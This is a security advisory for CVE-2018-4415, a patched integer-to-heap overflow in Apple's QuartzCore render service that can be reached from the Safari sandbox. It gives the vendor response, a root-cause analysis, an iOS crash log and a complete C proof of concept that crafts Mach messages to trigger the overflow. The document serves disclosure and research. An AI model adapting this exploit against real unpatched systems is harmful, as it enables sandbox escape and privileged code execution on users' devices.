SSD Advisory – iOS/macOS Safari Sandbox Escape via QuartzCore Heap Overflow
Credit to Author: SSD / Ori Nimron| Date: Sun, 02 Dec 2018 13:08:59 +0000
Vulnerabilities Summary
QuartzCore ( https://developer.apple.com/documentation/quartzcore ), also known as CoreAnimation, is a framework use by macOS and iOS to build an animatable scene graph. CoreAnimation uses a unique rendering model where the graphics operations are run in a separate process. On macOS, the process is WindowServer and on iOS the name is backboardd. Both of these process are out of sandbox and have the right to call setuid. The service name QuartzCore is usually referenced as CARenderServer. This service exists on both macOS and iOS and can be accessed from the Safarisandbox and therefore has been used for Pwn2Own on many occasions. There exists an integer overflow which can lead to heap over flow in QuartzCore on latest macOS/iOS.
Vendor Response
“CoreAnimation Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2018-4415: Liang Zhuo working with Beyond Security’s SecuriTeam Secure Disclosure”
CVE
CVE-2018-4415
Credit
An independent Security Researcher, Zhuo Liang, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Affected systems
macOS 10.14
iOS 12.10
Vulnerability Details
The root cause of this vulnerability lies in QuartzCore`CA::Render::InterpolatedFunction::InterpolatedFunction function, this function does not notice the case of integer overflow. In the
sections will discuss the details of this vulnerability on both macOS and iOS.
macOS 10.14
On macOS, there is an useful API to retrive open the CARenderService named CGSCreateLayerContext(Not exists on iOS). The attacker can send messages to the service port with message id 0x9C42 or 0x9C43. When the process(server_thread, actually) receives this message of the specified message ids, it will go into a procedure like deserialization. With proper data fed the execution stream will go into function CA::Render::InterpolatedFunction::InterpolatedFunction.
Notice at (a) and (b) the value of these two member can be controlled by attacker(CA uses functions like CA::Render::Decoder::decode* to deserialize objects), and in CA::Render::InterpolatedFunction::allocate_storage function, these values will be used to decide the size of memory to be allocate.
At (d), v3 is controlled by values at (a) and (b). And v4 at (e) can also be controlled by attacker at (c). So the size of the memory to allocate is 4 * (v4 + v3). But look at (f) carefully, the third parameter passed to CA::Render::Decoder::decode_bytes is actually 4 * v3. The simplest form of CA::Render::Decoder::decode_bytes at (f) is like memcpy(v2, v8, 4 * v3) or memset(v2, 0, 4 * v3). So the heap overflow leading by integer overflow happens when 4 * (v4 + v3) overflows but 4 * v3 not. The proof combination of those attacker controlled values which can lead to proper integer overflow can be found in the exploit in the end of this advisory.
Reproduction of this issue on macOS can be done as follows:
1. clang QuartzCoreFunctionIntOverFlow.c -o
quartz_core_function_over_flow -framework CoreGraphics
2. ./quartz_core_function_over_flow
iOS 12.10
Since the root cause of this issue is apparent and the code on iOS and macOS is almost the same. In this section We will only discuss the different points between iOS and macOS.
• There isn’t any API like CGSCreateLayerContext on macOS that can get the CoreAnimation rendering context directly, but through exploring we found the MIG function _XRegisterClient can be used to replace CGSCreateLayerContext. First, attacker should open the service com.apple.CARenderServer(Can be accessed from sandbox), and then call _XRegisterClient by mach_msg with message id 40202.
• To reproruce this issue on iOS 12 beta, you should use latest 1Xcode-beta(For latest SDK).
• You should import IOKit framework headers according www.malhal.com. Note that the destination directories should be changed to your Xcode-beta Application.
• The code lies in function application didFinishLaunchingWithOptions, and will be triggerd when the application starts.
• When the Application has been installed, just start the applicationios-sbe.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | 1 Thread 3 name: com.apple.coreanimation.render−server // CARenderServer thread 2 Thread 3: 0 libsystem_platform.dylib 0x000000018fefe584 0x18fef6000 + 34180 1 QuartzCore 0x0000000194a6e1d4 0x19491e000 + 1376724 2 QuartzCore 0x0000000194a21a58 0x19491e000 + 1063512 3 QuartzCore 0x0000000194a710b8 0x19491e000 + 1388728 4 QuartzCore 0x0000000194a719c0 0x19491e000 + 1391040 5 QuartzCore 0x00000001949fb140 0x19491e000 + 905536 6 QuartzCore 0x00000001949facdc 0x19491e000 + 904412 7 QuartzCore 0x0000000194ab65c8 0x19491e000 + 1672648 8 libsystem_pthread.dylib 0x000000018ff0c26c 0x18ff01000 + 45676 9 libsystem_pthread.dylib 0x000000018ff0c1b0 0x18ff01000 + 45488 10 libsystem_pthread.dylib 0x000000018ff0fd20 0x18ff01000 + 60704 Thread 13 name: Dispatch queue: com.apple.libdispatch−manager Thread 13 Crashed: 0 libdispatch.dylib 0x000000018fd18514 0x18fcca000 + 320788 1 libdispatch.dylib 0x000000018fd1606c 0x18fcca000 + 311404 2 libdispatch.dylib 0x000000018fd1606c 0x18fcca000 + 311404 3 libdispatch.dylib 0x000000018fd0f1ac 0x18fcca000 + 283052 4 libsystem_pthread.dylib 0x000000018ff0d078 0x18ff01000 + 49272 5 libsystem_pthread.dylib 0x000000018ff0fd18 0x18ff01000 + 60696 |
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 | /** * Brief: Integer overflow in CoreAnimation, CVE-2018-4415 * Usage: * 1. clang FunctionIntOverFlow.c -o function_over_flow * 2. ./function_over_flow * * Specifically, `CA::Render::InterpolatedFunction::allocate_storage` function in QuartzCore does * not do any check for integer overflow in expression |result = (char *)malloc(4 * (v4 + v3));|. * * The bug has been fixed in macOS 10.14.1 and iOS 12.1, since the interfaces and structure of * messages are inconsistent between different versions, this PoC may only work on macOS 10.14 and * iOS 12.0, but it’s very easy to replant it to another versions. * * Tips for debugging on macOS: Turn Mac to sleep mode and ssh to the target machine, this may * help you concentrate on your work. * * One more: Mach service com.apple.CARenderServer is reacheable from Safari sandbox on both macOS * and iOS. com.apple.windowserver.active accurately on macOS versions prior to macOS 10.14. */ #include <dlfcn.h> #include <mach/mach.h> #include <stdio.h> #include <unistd.h> static void do_int_overflow() { mach_port_t p = MACH_PORT_NULL, bs_port = MACH_PORT_NULL; task_get_bootstrap_port(mach_task_self(), &bs_port); const char *render_service_name = “com.apple.CARenderServer”; kern_return_t (*bootstrap_look_up)(mach_port_t, const char *, mach_port_t *) = dlsym(RTLD_DEFAULT, “bootstrap_look_up”); kern_return_t kr = bootstrap_look_up(bs_port, render_service_name, &p); if (kr != KERN_SUCCESS) { printf(“[-] Cannot get service of %s, %s!n”, render_service_name, mach_error_string(kr)); return; } typedef struct quartz_register_client_s quartz_register_client_t; struct quartz_register_client_s { mach_msg_header_t header; uint32_t body; mach_msg_port_descriptor_t ports[4]; char padding[12]; }; quartz_register_client_t msg_register; memset(&msg_register, 0, sizeof(msg_register)); msg_register.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX; msg_register.header.msgh_remote_port = p; msg_register.header.msgh_local_port = mig_get_reply_port(); msg_register.header.msgh_id = 40202; // _XRegisterClient msg_register.body = 4; msg_register.ports[0].name = mach_task_self(); msg_register.ports[0].disposition = MACH_MSG_TYPE_COPY_SEND; msg_register.ports[0].type = MACH_MSG_PORT_DESCRIPTOR; msg_register.ports[1].name = mach_task_self(); msg_register.ports[1].disposition = MACH_MSG_TYPE_COPY_SEND; msg_register.ports[1].type = MACH_MSG_PORT_DESCRIPTOR; msg_register.ports[2].name = mach_task_self(); msg_register.ports[2].disposition = MACH_MSG_TYPE_COPY_SEND; msg_register.ports[2].type = MACH_MSG_PORT_DESCRIPTOR; msg_register.ports[3].name = mach_task_self(); msg_register.ports[3].disposition = MACH_MSG_TYPE_COPY_SEND; msg_register.ports[3].type = MACH_MSG_PORT_DESCRIPTOR; kr = mach_msg(&msg_register.header, MACH_SEND_MSG | MACH_RCV_MSG, sizeof(quartz_register_client_t), sizeof(quartz_register_client_t), msg_register.header.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { printf(“[-] Send message failed: %sn”, mach_error_string(kr)); return; } mach_port_t context_port = *(uint32_t *)((uint8_t *)&msg_register + 0x1c); uint32_t conn_id = *(uint32_t *)((uint8_t *)&msg_register + 0x30); typedef struct quartz_function_int_overflow_s quartz_function_int_overflow_t; struct quartz_function_int_overflow_s { mach_msg_header_t header; char msg_body[0x60]; }; quartz_function_int_overflow_t function_int_overflow_msg = {0}; function_int_overflow_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX; function_int_overflow_msg.header.msgh_remote_port = context_port; function_int_overflow_msg.header.msgh_id = 40002; memset(function_int_overflow_msg.msg_body, 0x0, sizeof(function_int_overflow_msg.msg_body)); *(uint32_t *)(function_int_overflow_msg.msg_body + 0) = 0x1; // Ports count /** * 1. One port consumes 12B space * 2. This `mach_msg` routine dose not need a port, so set this port to MACH_PORT_NULL(memory * cleared by memset) */ *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 0) = 0xdeadbeef; *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 4) = conn_id; *(int8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16) = 2; *(uint64_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 1) = 0xdeadbeefdeadbeef; *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 9) = 0xffffffff; *(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 13) = 0x12; // Decode Function *(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 14) = 0x2; /**(uint32_t*)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 15) = 0xDECAFBAD;*/ *(uint64_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 15) = 0x2000000000000000; *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 23) = 1; *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 27) = 2; *(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 31) = 1; kr = mach_msg(&function_int_overflow_msg.header, MACH_SEND_MSG, sizeof(function_int_overflow_msg), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { printf(“[-] Send message failed: %sn”, mach_error_string(kr)); return; } return; } int main() { do_int_overflow(); return 0; } |